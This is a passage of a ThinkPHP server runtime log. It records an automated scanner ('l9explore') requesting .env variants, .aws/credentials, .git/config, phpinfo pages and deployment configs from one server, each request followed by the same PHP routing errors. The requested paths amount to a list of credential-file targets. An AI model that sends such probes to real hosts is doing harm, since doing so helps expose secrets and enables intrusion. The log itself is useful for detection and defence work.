=> 'old_phpinfo.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:17+08:00 ] 179.43.168.146 GET 59.110.137.245/_profiler/phpinfo.php [运行时间:0.002094s] [吞吐率:477.55req/s] [内存消耗:132.40kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '_profiler', 2 => 'phpinfo.php', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:17+08:00 ] 179.43.168.146 GET 59.110.137.245/config.json [运行时间:0.002258s] [吞吐率:442.86req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'config.json', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:18+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.dev.local [运行时间:0.002104s] [吞吐率:475.28req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.dev.local', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:18+08:00 ] 179.43.168.146 GET 59.110.137.245/.aws/credentials [运行时间:0.002260s] [吞吐率:442.44req/s] [内存消耗:132.38kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.aws', 2 => 'credentials', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:19+08:00 ] 179.43.168.146 GET 59.110.137.245/config/environment.rb [运行时间:0.001991s] [吞吐率:502.25req/s] [内存消耗:132.38kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'config', 2 => 'environment.rb', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:20+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.prod.local [运行时间:0.002007s] [吞吐率:498.25req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.prod.local', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:20+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.production.local [运行时间:0.002018s] [吞吐率:495.55req/s] [内存消耗:132.42kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.production.local', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:21+08:00 ] 179.43.168.146 GET 59.110.137.245/.envrc [运行时间:0.002058s] [吞吐率:485.90req/s] [内存消耗:132.27kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.envrc', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:22+08:00 ] 179.43.168.146 GET 59.110.137.245/public/.git/config [运行时间:0.001988s] [吞吐率:503.03req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:22+08:00 ] 179.43.168.146 GET 59.110.137.245/js/.git/config [运行时间:0.002058s] [吞吐率:485.90req/s] [内存消耗:132.31kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'js', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:23+08:00 ] 179.43.168.146 GET 59.110.137.245/data/.git/config [运行时间:0.001989s] [吞吐率:502.79req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'data', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:24+08:00 ] 179.43.168.146 GET 59.110.137.245/docker-compose.prod.yml [运行时间:0.002040s] [吞吐率:490.22req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'docker-compose.prod.yml', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:24+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.stage [运行时间:0.002006s] [吞吐率:498.49req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.stage', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:25+08:00 ] 179.43.168.146 GET 59.110.137.245/linusadmin-phpinfo.php [运行时间:0.002003s] [吞吐率:499.26req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'linusadmin-phpinfo.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:25+08:00 ] 179.43.168.146 GET 59.110.137.245/.travis.yml [运行时间:0.002133s] [吞吐率:468.85req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.travis.yml', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:26+08:00 ] 179.43.168.146 GET 59.110.137.245/static../.git/config [运行时间:0.001979s] [吞吐率:505.28req/s] [内存消耗:132.38kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static..', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:27+08:00 ] 179.43.168.146 GET 59.110.137.245/config.yml [运行时间:0.002014s] [吞吐率:496.48req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'config.yml', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:27+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.development.local [运行时间:0.001990s] [吞吐率:502.55req/s] [内存消耗:132.42kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.development.local', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:28+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.live [运行时间:0.002185s] [吞吐率:457.64req/s] [内存消耗:132.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.live', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:29+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.old [运行时间:0.001963s] [吞吐率:509.45req/s] [内存消耗:132.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.old', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:29+08:00 ] 179.43.168.146 GET 59.110.137.245/.env_sample [运行时间:0.001951s] [吞吐率:512.56req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env_sample', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:30+08:00 ] 179.43.168.146 GET 59.110.137.245/php_info.php [运行时间:0.001996s] [吞吐率:500.99req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'php_info.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:31+08:00 ] 179.43.168.146 GET 59.110.137.245/media/.git/config [运行时间:0.002043s] [吞吐率:489.47req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 